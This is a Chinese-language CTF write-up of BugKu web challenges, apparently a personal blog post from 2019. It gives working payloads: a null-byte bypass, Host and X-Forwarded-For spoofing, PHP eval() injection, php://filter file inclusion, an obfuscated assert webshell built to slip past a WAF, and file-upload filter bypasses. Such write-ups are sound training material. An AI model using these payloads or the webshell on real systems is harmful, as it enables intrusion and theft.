BugKu-Web

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FFY 2月 18, 2019

web2

查看源码,得 flag:KEY{Web-2-bugKssNNikls9100}

计算器

要求提交算式得结果,用 JS 验证
查看源码,发现可能是 code.js
然后进入查看,发现 flag:flag{CTF-bugku-0032}

矛盾

$num=$_GET['num'];  
if(!is_numeric($num))  
{  
echo $num;  
if($num==1)  
echo 'flag{**********}';  
}

简单的 %00 绕过
直接构造 payload:?num=1%00
得到 flag:flag{bugku-789-ps-ssdf}

web3

点开后一直弹出窗口
果断 Burp 抓包
在 Response 最后发现

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

粘贴到 Google 上,回车
得到 flag:KEY{J2sa42ahJK-HS11III}

域名解析

修改 windows 下的 c:\windows\system32\drivers\etc\hosts
添加
120.24.86.145 flag.bugku.com
访问 flag.bugku.com 得到 flag:
KEY{DSAHDSJ82HDS2211}

或者 Burp 抓包,修改 Host

GET / HTTP/1.1
Host: flag.baidu.com ##修改 Host
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

提交的 flag

你必须让他停下

进入链接,发现页面一直闪,果断 Burp 抓包
在 Response 里

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 08 Mar 2019 05:20:52 GMT
Content-Type: text/html
Connection: close
Content-Length: 614

<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500); 
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="11.jpg" /></div></center><br>
<a style="display:none">flag is here~</a></body>
# 这里有猫腻
</html>

多提交几次

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 08 Mar 2019 05:18:07 GMT
Content-Type: text/html
Connection: close
Content-Length: 630

<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500); 
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.jpg"/></div></center><br>
<a style="display:none">flag{dummy_game_1s_s0_popular}</a></body>
</html>

得到 flag:
flag{dummy_game_1s_s0_popular}

本地包含

进入看见代码,为代码审计

`<?php  
include "flag.php";  
$a = @$_REQUEST['hello'];  
eval( "var_dump($a);");  
show_source(__FILE__);  
?>`

常见 eval() 漏洞
直接构造 payload:?hello=file('flag.php')
得到 flag:flag{bug-ctf-gg-99}

file_get_contents('flag.php')
show_source('flag.php')
# 均可

变量1

flag In the variable ! 
<?php  
error_reporting(0);  
include "flag1.php";  
highlight_file(__file__);  
if(isset($_GET['args'])){  
$args = $_GET['args'];  
if(!preg_match("/^\w+$/",$args)){  
die("args error!");  
}  
eval("var_dump($$args);");  
}  
?>

进入看见代码
同样是 eval() 函数,但是它进行了正则式匹配,不能像上一题一样绕过
并且它用变量转存了提交的 $_GET 变量值进行验证,所以也不好利用 preg_match() 函数不能处理数组的漏洞
提示中 flag In the variable ! 想到 var_dump() 函数的 $GLOBALS 变量 $$a 会将 $a 的值替换为 GLOBALS,也就是说 $$a 会解析成 $GLOBALS

综上,构造 payload:?args=GLOBALS
提交得到 flag:
flag{92853051ab894a64f7865cf3c2128b34}

web5

查看源码,发现一堆括号

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上网搜一波,发现其为 jother 编码
可以直接在控制台里运行,得到 flag:
ctf{whatfk}
但还没完,必须大写才能提交

头等舱

页面里啥也没有
果断 Burp 抓包
在 Response 里发现 flag:
flag{Bugku_k8_23s_istra}

网站被黑

源码,抓包无果,Dirsearch 扫描站点,发现 shell.php
进入,发现一个提交框
没有验证,考虑用 Burp 爆破
使用 Burp 自带的 Passwords 作为字典爆破
之后发现 hack 的响应长度不同于其他
在提交框里提交 hack,得到 flag:
flag{hack_bug_ku035}

管理员系统

进入发现是一个登陆界面
因为是管理员系统,推测用户名为 admin
随便输入密码提交,回显IP禁止访问，请联系本地管理员登陆，IP已被记录.
本地管理员,联想到伪造 IP 地址 (不要问我为什么,CTF 的脑洞就是这么大)
Burp 抓包,修改包

POST / HTTP/1.1
Host: 123.206.31.85:1003
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Origin: http://123.206.31.85:1003
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
X-Forwarded-For: 127.0.0.1 #伪造本地管理员IP
Referer: http://123.206.31.85:1003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin&pass=asdf

提交,回显
Invalid credentials! Please try again!
密码不对,可以选择爆破
但查看网页源码发现 

<!-- dGVzdDEyMw== -->

看起来是 Base64 加密
解密得到 test123 猜测其为密码
提交,得到 flag:
The flag is: 85ff2ee4171396724bae20c0bd851f6b
按格式提交答案

web4

进入提示看看源码
看到一段 JS 代码

<script>

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

</script>

去掉 eval 函数在 Console 里运行
出现原文

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

分析后提交 67d709b2b54aa2aa648cf6e87a7114f1
得到 flag:
KEY{J22JK-HS11}

flag在index里

题面只有一个链接click me? no
点击后会在 URL 后面加 file=show.php
想到 php://filter
构造 payload:?file=php://filter/read=convert.base64-encode/resource=index.php
得到 Base64 加密的 index.php 源码,Base64 解码得到

<html>      
    <title>Bugku-ctf</title>        
    <?php   
        error_reporting(0);   
        if(!$_GET[file]){
        echo '<a href="./index.php?file=show.php">click me? no</a>';}   
        $file=$_GET['file'];   
        if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
            echo "Oh no!";    
            exit();
        }   
        include($file);               
        //flag:flag{edulcni_elif_lacol_si_siht}  
    ?> 
</html>

提交 flag:
flag{edulcni_elif_lacol_si_siht}

现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义

首先这是一个file关键字的get参数传递，php://是一种协议名称，php://filter/是一种访问本地文件的协议，/read=convert.base64-encode/表示读取的方式是base64编码后，resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码，下面说说为什么，看到源码中的include函数，这个表示从外部引入php文件并执行，如果执行不成功，就返回文件的源码。

而include的内容是由用户控制的，所以通过我们传递的file参数，是include()函数引入了index.php的base64编码格式，因为是base64编码格式，所以执行不成功，返回源码，所以我们得到了源码的base64格式，解码即可。

如果不进行base64编码传入，就会直接执行，而flag的信息在注释中，是得不到的。

我们再看一下源码中 存在对 ../ tp data input 的过滤，其实这都是php://协议中的其他方法

过狗一句话

<?php 
    $poc="a#s#s#e#r#t"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
    $poc_2($_GET['s']) 
?>

explode() 函数将 $pos 以 # 为界限打散装进 $pos_1 数组
$pos_2 用 . 将 $pos_1 数组连接成 assert
可以执行任意代码
读取 flag

print_r(glob(‘.php’)) 读取 .php 文件
print_r(glob(‘.txt’)) 读取 .txt 文件
print_r(scandir(‘./‘)) 扫描当前目录,并输出

求 Getshell

后缀名黑名单检测和类型检测

如果是 walf 严格匹配，通过修改Content-type后字母的大小写可以绕过检测，使得需要上传的文件可以到达服务器端，而服务器的容错率较高，一般我们上传的文件可以解析。然后就需要确定我们如何上传文件，这里将文件的后缀名改为.jpg和.png都不可行，在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml（php的别名），发现只有php5没有被过滤，成功上传，得到flag

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